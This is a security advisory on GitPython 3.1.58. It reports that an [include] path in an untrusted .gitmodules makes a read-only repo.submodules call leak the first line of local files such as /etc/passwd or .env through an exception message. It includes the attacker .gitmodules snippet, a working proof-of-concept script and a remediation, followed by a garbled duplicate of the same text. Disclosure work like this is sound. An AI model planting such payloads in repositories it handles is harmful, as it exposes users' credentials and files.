[HIGH] Arbitrary local file content disclosure via [include] directive in untrusted .gitmodules (SubmoduleConfigParser never disables merge_includes)
- CWE: CWE-200 (Exposure of Sensitive Information) / CWE-73 (External Control of File Name or Path)
- Affected component:
git/objects/submodule/base.py, Submodule._config_parser() (~line 273) constructing SubmoduleConfigParser(fp_module, read_only=read_only); git/config.py, GitConfigParser.__init__ (merge_includes default), GitConfigParser.read()/_included_paths() (include-path resolution, ~lines 630-685), GitConfigParser._read() (~line 493-498, MissingSectionHeaderError)
- Affected version: GitPython at HEAD (
9729ed3b948f2bde09f1f188c5311e172212b67e, 2026-08-05, VERSION 3.1.58)
Reachability
GitConfigParser.__init__ defaults merge_includes=True: any config file it parses has its [include] (and, when a repo= is supplied, [includeIf ...]) directives followed and merged in. The maintainers already recognized this as dangerous for one specific case and fixed it in commit 41ecc6a4 ("Disable merge_includes in config writers"), which passes merge_includes=False when Repo.config_writer() builds its parser (git/repo/base.py).
That fix never touched Submodule._config_parser(). This method builds the parser used for every read of a repo's submodule configuration — repo.submodules, Submodule.iter_items(), Submodule.config() — via SubmoduleConfigParser(fp_module, read_only=read_only), passing neither merge_includes=False nor repo=. The True class default is therefore inherited unchanged, and fp_module here is .gitmodules — the single most attacker-controlled config file in the entire codebase, since it ships verbatim as tracked content inside any cloned repository.
GitConfigParser.read()'s include-path resolution (~line 662-680) performs no containment check: osp.isabs(include_path) short-circuits the path join entirely for an absolute path, and a relative path is joined with osp.join(osp.dirname(file_path), include_path) / osp.normpath()'d with no check that the result stays under the repository. ~ is expanded via osp.expanduser. The only gate before opening is os.access(include_path, os.R_OK) — a readability check, not a path restriction.
Once opened, GitConfigParser._read() parses the target file as git-config INI. If the first non-blank/non-comment line is not a [section] header — true of virtually any non-gitconfig file (source code, /etc/passwd, .env files, credential files, logs, JSON/YAML) — it raises configparser.MissingSectionHeaderError(fpname, lineno, line). Python's stdlib formats this exception's str() as "File contains no section headers.\nfile: %r, line: %d\n%r" % (fpname, lineno, line) — it embeds the verbatim content of that file's first line in the exception message. Submodule.iter_items() catches only (IOError, BadName), not configparser.Error, so this exception propagates straight out of the ordinary, read-only repo.submodules call.
Root cause
Parity gap between two config-parser construction sites for the exact same footgun: Repo.config_writer() was hardened against merge_includes in 2023 (41ecc6a4); Submodule._config_parser() — which parses .gitmodules, content that is always attacker-controlled the moment a repository is cloned from an untrusted source — was never given the same treatment. (The submodule write-mode config parser at git/objects/submodule/base.py for .git/modules/<name>/config — a different, locally-generated file — has correctly passed merge_includes=False since 2022, underscoring that the omission for .gitmodules reads looks like an oversight rather than a considered exception.)
Exploit path
- Attacker crafts a repository whose
.gitmodules contains a legitimate-looking [submodule ...] section plus:
[include]
path = /etc/passwd
(an absolute path bypasses any traversal reasoning entirely; a relative ../../../../etc/passwd-style path works too).
- Victim performs the extremely common, entirely read-only operation of enumerating a cloned repo's submodules:
list(repo.submodules) (or any for sm in repo.submodules) — no update(), init(), or checkout of any kind required.
SubmoduleConfigParser (inheriting merge_includes=True) follows the [include] directive, opens /etc/passwd, and GitConfigParser._read() raises MissingSectionHeaderError whose message embeds /etc/passwd's first line verbatim.
- This exception surfaces wherever the host application observes exceptions from GitPython — CI logs, error pages, exception trackers, or any dependency-scanner/code-review-bot/hosting-platform tool built on
repo.submodules — disclosing the targeted file's first line to the attacker (directly, or indirectly via any channel that echoes the error).
Impact
Non-blind local file content disclosure (first line) of any file readable by the victim process, triggered purely by attacker-controlled repository content and one routine, read-only GitPython call. Bounded to one line per triggering file (parsing aborts at the first MissingSectionHeaderError), but that line very often is the secret — .env files (DATABASE_URL=..., API_KEY=...), single-line credential/token files, /etc/passwd's root entry for host fingerprinting. The primitive additionally serves as a generic error-based file-existence oracle for arbitrary host paths. This is materially stronger than the already-fixed, explicitly blind GHSA-cwvm-v4w8-q58c ("Blind local file inclusion", CVSS 4.0, git/refs/symbolic.py ref-name resolution) — that advisory's own writeup states it cannot disclose content; this one does, verbatim, via a different module (git/config.py's include resolution).
Preconditions
- Victim clones (or otherwise opens with GitPython) a repository whose
.gitmodules is attacker-controlled — the default trust model for any tool that processes third-party repositories (dependency scanners, CI, code hosting/review bots, "audit this repo" utilities — exactly the class of application GitPython itself is built for).
- Victim performs any operation that touches
repo.submodules — one of the most ordinary GitPython operations, requiring no submodule update/init/checkout.
- No authentication/role requirement inside GitPython itself.
Evidence
git/config.py — GitConfigParser.__init__ defaults merge_includes=True.
git/objects/submodule/base.py:273 — SubmoduleConfigParser(fp_module, read_only=read_only) passes neither merge_includes nor repo=; git blame shows this call unchanged since the class was introduced, and git show 41ecc6a4 confirms that commit touched only git/repo/base.py's Repo.config_writer(), never this call site.
git/config.py _included_paths()/read() (~630-685) — absolute include paths bypass the join/normpath entirely (osp.isabs() short-circuit); no repository-boundary containment check exists anywhere in this path.
git/config.py _read() (~493-498) — raises cp.MissingSectionHeaderError(fpname, lineno, line) with the raw file line embedded, matching Python stdlib configparser's own __str__ behavior.
Submodule.iter_items() catches only (IOError, BadName) — configparser.Error (the base of MissingSectionHeaderError) is not swallowed.
- PoC (
gitpython-003-poc.py, embedded below) reproduces this end-to-end against this exact checkout via the public API only (Repo.clone_from + list(repo.submodules), default arguments, no monkeypatching), against both a throwaway secret file and /etc/passwd.
False-positive check (adversarial re-read)
- Is this the same bug as
GHSA-hmq2-w58f-27jc? No — that advisory is about the .gitmodules submodule name driving _module_abspath/os.makedirs() (creating a git repository/module directory outside the working tree, a write/RCE-adjacent primitive via a completely different function). This finding is about the [include] directive in the same file reaching a config-parser read primitive — a different mechanism, different function, different impact class (content disclosure, not directory creation).
- Is this the same bug as
GHSA-cwvm-v4w8-q58c (blind LFI)? No — that advisory is explicitly documented by its own reporter as content-free/blind (existence-only), and lives in git/refs/symbolic.py's ref-name resolution feeding Repo.commit/tree/index.diff — an entirely different module and code path. This finding discloses actual file content via git/config.py's include-directive resolution.
- Is the impact overstated given only one line leaks? No — this is an accurate scoping caveat already reflected in the severity/impact discussion, not a reachability blocker: attacker has full control over which path is targeted (absolute paths work unconditionally), requires zero interaction beyond the single most common submodule operation, and the PoC demonstrates a real, working end-to-end disclosure through the standard
clone_from + list(repo.submodules) workflow.
- Could the exception simply be silently swallowed by GitPython before reaching the caller? No — confirmed by reading
Submodule.iter_items()'s exception handling, which catches only IOError/BadName; configparser.MissingSectionHeaderError propagates uncaught.
- Verdict: no concrete blocker found. CONFIRMED — reproduced independently against both a throwaway secret file and
/etc/passwd.
Remediation
Pass merge_includes=False when constructing SubmoduleConfigParser in Submodule._config_parser() (git/objects/submodule/base.py), mirroring the existing fix in Repo.config_writer() (commit 41ecc6a4) — .gitmodules content is always attacker-controlled and should never be allowed to pull in include/includeIf directives. As defense in depth, GitConfigParser.read()'s include-path resolution should enforce that resolved include paths stay within the repository's own directory tree, and parsing-error messages (MissingSectionHeaderError/ParsingError) should avoid embedding raw file content when parsing a file the caller did not explicitly ask to open.
Confidence
High. Root cause confirmed by direct code reading across both git/config.py and git/objects/submodule/base.py, cross-checked against the fix commit that hardened the sibling code path but not this one; exploit chain reproduced independently, twice, against the current HEAD (a throwaway secret file and /etc/passwd).
Proof-of-Concept source (gitpython-003-poc.py)
#!/usr/bin/env python3
"""
GITPYTHON-003 PoC: `.gitmodules` -- fully attacker-controlled content shipped
inside a cloned repository -- can contain `[include] path = <any local path>`.
`Submodule._config_parser()` builds the parser used for `repo.submodules` (and
other submodule reads) via `SubmoduleConfigParser(fp_module, read_only=...)`
without passing `merge_includes=False`, so the class default `merge_includes=True`
is inherited. GitConfigParser then opens the target file; if it isn't valid
git-config syntax (true of virtually any non-gitconfig file), Python's
`configparser.MissingSectionHeaderError` embeds the file's first line verbatim
in its exception message, which propagates out of the ordinary, read-only
`repo.submodules` call -- a non-blind local file content disclosure primitive.
Run:
PYTHONPATH="<repo>:<repo>/gitdb:<repo>/smmap" python3 gitpython-003-poc.py <workdir> <target-file>
Benign: reads only the given <target-file> (defaults to a throwaway secret file
created under <workdir> if omitted) and never writes/exfiltrates it anywhere
except printing it locally to prove the primitive. No destructive action.
"""
import os
import subprocess
import sys
def main():
workdir = sys.argv[1] if len(sys.argv) > 1 else "/tmp/gitpython-003-poc"
target_file = sys.argv[2] if len(sys.argv) > 2 else os.path.join(workdir, "secret.txt")
attacker_repo = os.path.join(workdir, "attacker-repo")
dest = os.path.join(workdir, "dest")
for p in (attacker_repo, dest):
os.makedirs(p, exist_ok=True)
if not os.path.exists(target_file):
os.makedirs(os.path.dirname(target_file), exist_ok=True)
with open(target_file, "w") as f:
f.write("TOP-SECRET-DB-PASSWORD=hunter2-actual-secret-value\n")
subprocess.run(["git", "init", "-q", "-b", "main", attacker_repo], check=True)
subprocess.run(["git", "-C", attacker_repo, "config", "user.email", "a@example.com"], check=True)
subprocess.run(["git", "-C", attacker_repo, "config", "user.name", "Attacker"], check=True)
with open(os.path.join(attacker_repo, "file.txt"), "w") as f:
f.write("hello\n")
with open(os.path.join(attacker_repo, ".gitmodules"), "w") as f:
f.write(
'[submodule "totally-normal-dep"]\n'
"\tpath = vendor/dep\n"
"\turl = https://example.com/dep.git\n"
"[include]\n"
"\tpath = %s\n" % target_file
)
subprocess.run(["git", "-C", attacker_repo, "add", "file.txt", ".gitmodules"], check=True)
subprocess.run(["git", "-C", attacker_repo, "commit", "-q", "-m", "init"], check=True)
import git # gitpython under test
import configparser
repo = git.Repo.clone_from(attacker_repo, dest)
try:
subs = list(repo.submodules)
print("NOT VULNERABLE: no exception raised, submodules =", subs)
sys.exit(1)
except configparser.MissingSectionHeaderError as e:
msg = str(e)
print("VULNERABLE: MissingSectionHeaderError leaked file content via repo.submodules:")
print(msg)
with open(target_file) as f:
first_line = f.readline().rstrip("\n")
if first_line in msg:
print("Confirmed: target file's first line is present verbatim in the exception message.")
sys.exit(0)
else:
print("NOT VULNERABLE: exception message did not contain the expected content")
sys.exit(1)
if __name__ == "__main__":
main()
[HIGH] Arbitrary local file content disclosure via
[include]directive in untrusted.gitmodules(SubmoduleConfigParsernever disablesmerge_includes)git/objects/submodule/base.py,Submodule._config_parser()(~line 273) constructingSubmoduleConfigParser(fp_module, read_only=read_only);git/config.py,GitConfigParser.__init__(merge_includesdefault),GitConfigParser.read()/_included_paths()(include-path resolution, ~lines 630-685),GitConfigParser._read()(~line 493-498,MissingSectionHeaderError)9729ed3b948f2bde09f1f188c5311e172212b67e, 2026-08-05, VERSION3.1.58)Reachability
GitConfigParser.__init__defaultsmerge_includes=True: any config file it parses has its[include](and, when arepo=is supplied,[includeIf ...]) directives followed and merged in. The maintainers already recognized this as dangerous for one specific case and fixed it in commit41ecc6a4("Disable merge_includes in config writers"), which passesmerge_includes=FalsewhenRepo.config_writer()builds its parser (git/repo/base.py).That fix never touched
Submodule._config_parser(). This method builds the parser used for every read of a repo's submodule configuration —repo.submodules,Submodule.iter_items(),Submodule.config()— viaSubmoduleConfigParser(fp_module, read_only=read_only), passing neithermerge_includes=Falsenorrepo=. TheTrueclass default is therefore inherited unchanged, andfp_modulehere is.gitmodules— the single most attacker-controlled config file in the entire codebase, since it ships verbatim as tracked content inside any cloned repository.GitConfigParser.read()'s include-path resolution (~line 662-680) performs no containment check:osp.isabs(include_path)short-circuits the path join entirely for an absolute path, and a relative path is joined withosp.join(osp.dirname(file_path), include_path)/osp.normpath()'d with no check that the result stays under the repository.~is expanded viaosp.expanduser. The only gate before opening isos.access(include_path, os.R_OK)— a readability check, not a path restriction.Once opened,
GitConfigParser._read()parses the target file as git-config INI. If the first non-blank/non-comment line is not a[section]header — true of virtually any non-gitconfig file (source code,/etc/passwd,.envfiles, credential files, logs, JSON/YAML) — it raisesconfigparser.MissingSectionHeaderError(fpname, lineno, line). Python's stdlib formats this exception'sstr()as"File contains no section headers.\nfile: %r, line: %d\n%r" % (fpname, lineno, line)— it embeds the verbatim content of that file's first line in the exception message.Submodule.iter_items()catches only(IOError, BadName), notconfigparser.Error, so this exception propagates straight out of the ordinary, read-onlyrepo.submodulescall.Root cause
Parity gap between two config-parser construction sites for the exact same footgun:
Repo.config_writer()was hardened againstmerge_includesin 2023 (41ecc6a4);Submodule._config_parser()— which parses.gitmodules, content that is always attacker-controlled the moment a repository is cloned from an untrusted source — was never given the same treatment. (The submodule write-mode config parser atgit/objects/submodule/base.pyfor.git/modules/<name>/config— a different, locally-generated file — has correctly passedmerge_includes=Falsesince 2022, underscoring that the omission for.gitmodulesreads looks like an oversight rather than a considered exception.)Exploit path
.gitmodulescontains a legitimate-looking[submodule ...]section plus:../../../../etc/passwd-style path works too).list(repo.submodules)(or anyfor sm in repo.submodules) — noupdate(),init(), or checkout of any kind required.SubmoduleConfigParser(inheritingmerge_includes=True) follows the[include]directive, opens/etc/passwd, andGitConfigParser._read()raisesMissingSectionHeaderErrorwhose message embeds/etc/passwd's first line verbatim.repo.submodules— disclosing the targeted file's first line to the attacker (directly, or indirectly via any channel that echoes the error).Impact
Non-blind local file content disclosure (first line) of any file readable by the victim process, triggered purely by attacker-controlled repository content and one routine, read-only GitPython call. Bounded to one line per triggering file (parsing aborts at the first
MissingSectionHeaderError), but that line very often is the secret —.envfiles (DATABASE_URL=...,API_KEY=...), single-line credential/token files,/etc/passwd's root entry for host fingerprinting. The primitive additionally serves as a generic error-based file-existence oracle for arbitrary host paths. This is materially stronger than the already-fixed, explicitly blindGHSA-cwvm-v4w8-q58c("Blind local file inclusion", CVSS 4.0,git/refs/symbolic.pyref-name resolution) — that advisory's own writeup states it cannot disclose content; this one does, verbatim, via a different module (git/config.py's include resolution).Preconditions
.gitmodulesis attacker-controlled — the default trust model for any tool that processes third-party repositories (dependency scanners, CI, code hosting/review bots, "audit this repo" utilities — exactly the class of application GitPython itself is built for).repo.submodules— one of the most ordinary GitPython operations, requiring no submoduleupdate/init/checkout.Evidence
git/config.py—GitConfigParser.__init__defaultsmerge_includes=True.git/objects/submodule/base.py:273—SubmoduleConfigParser(fp_module, read_only=read_only)passes neithermerge_includesnorrepo=;git blameshows this call unchanged since the class was introduced, andgit show 41ecc6a4confirms that commit touched onlygit/repo/base.py'sRepo.config_writer(), never this call site.git/config.py_included_paths()/read()(~630-685) — absolute include paths bypass the join/normpath entirely (osp.isabs()short-circuit); no repository-boundary containment check exists anywhere in this path.git/config.py_read()(~493-498) — raisescp.MissingSectionHeaderError(fpname, lineno, line)with the raw file line embedded, matching Python stdlibconfigparser's own__str__behavior.Submodule.iter_items()catches only(IOError, BadName)—configparser.Error(the base ofMissingSectionHeaderError) is not swallowed.gitpython-003-poc.py, embedded below) reproduces this end-to-end against this exact checkout via the public API only (Repo.clone_from+list(repo.submodules), default arguments, no monkeypatching), against both a throwaway secret file and/etc/passwd.False-positive check (adversarial re-read)
GHSA-hmq2-w58f-27jc? No — that advisory is about the.gitmodulessubmodule name driving_module_abspath/os.makedirs()(creating a git repository/module directory outside the working tree, a write/RCE-adjacent primitive via a completely different function). This finding is about the[include]directive in the same file reaching a config-parser read primitive — a different mechanism, different function, different impact class (content disclosure, not directory creation).GHSA-cwvm-v4w8-q58c(blind LFI)? No — that advisory is explicitly documented by its own reporter as content-free/blind (existence-only), and lives ingit/refs/symbolic.py's ref-name resolution feedingRepo.commit/tree/index.diff— an entirely different module and code path. This finding discloses actual file content viagit/config.py's include-directive resolution.clone_from+list(repo.submodules)workflow.Submodule.iter_items()'s exception handling, which catches onlyIOError/BadName;configparser.MissingSectionHeaderErrorpropagates uncaught./etc/passwd.Remediation
Pass
merge_includes=Falsewhen constructingSubmoduleConfigParserinSubmodule._config_parser()(git/objects/submodule/base.py), mirroring the existing fix inRepo.config_writer()(commit41ecc6a4) —.gitmodulescontent is always attacker-controlled and should never be allowed to pull ininclude/includeIfdirectives. As defense in depth,GitConfigParser.read()'s include-path resolution should enforce that resolved include paths stay within the repository's own directory tree, and parsing-error messages (MissingSectionHeaderError/ParsingError) should avoid embedding raw file content when parsing a file the caller did not explicitly ask to open.Confidence
High. Root cause confirmed by direct code reading across both
git/config.pyandgit/objects/submodule/base.py, cross-checked against the fix commit that hardened the sibling code path but not this one; exploit chain reproduced independently, twice, against the current HEAD (a throwaway secret file and/etc/passwd).Proof-of-Concept source (
gitpython-003-poc.py)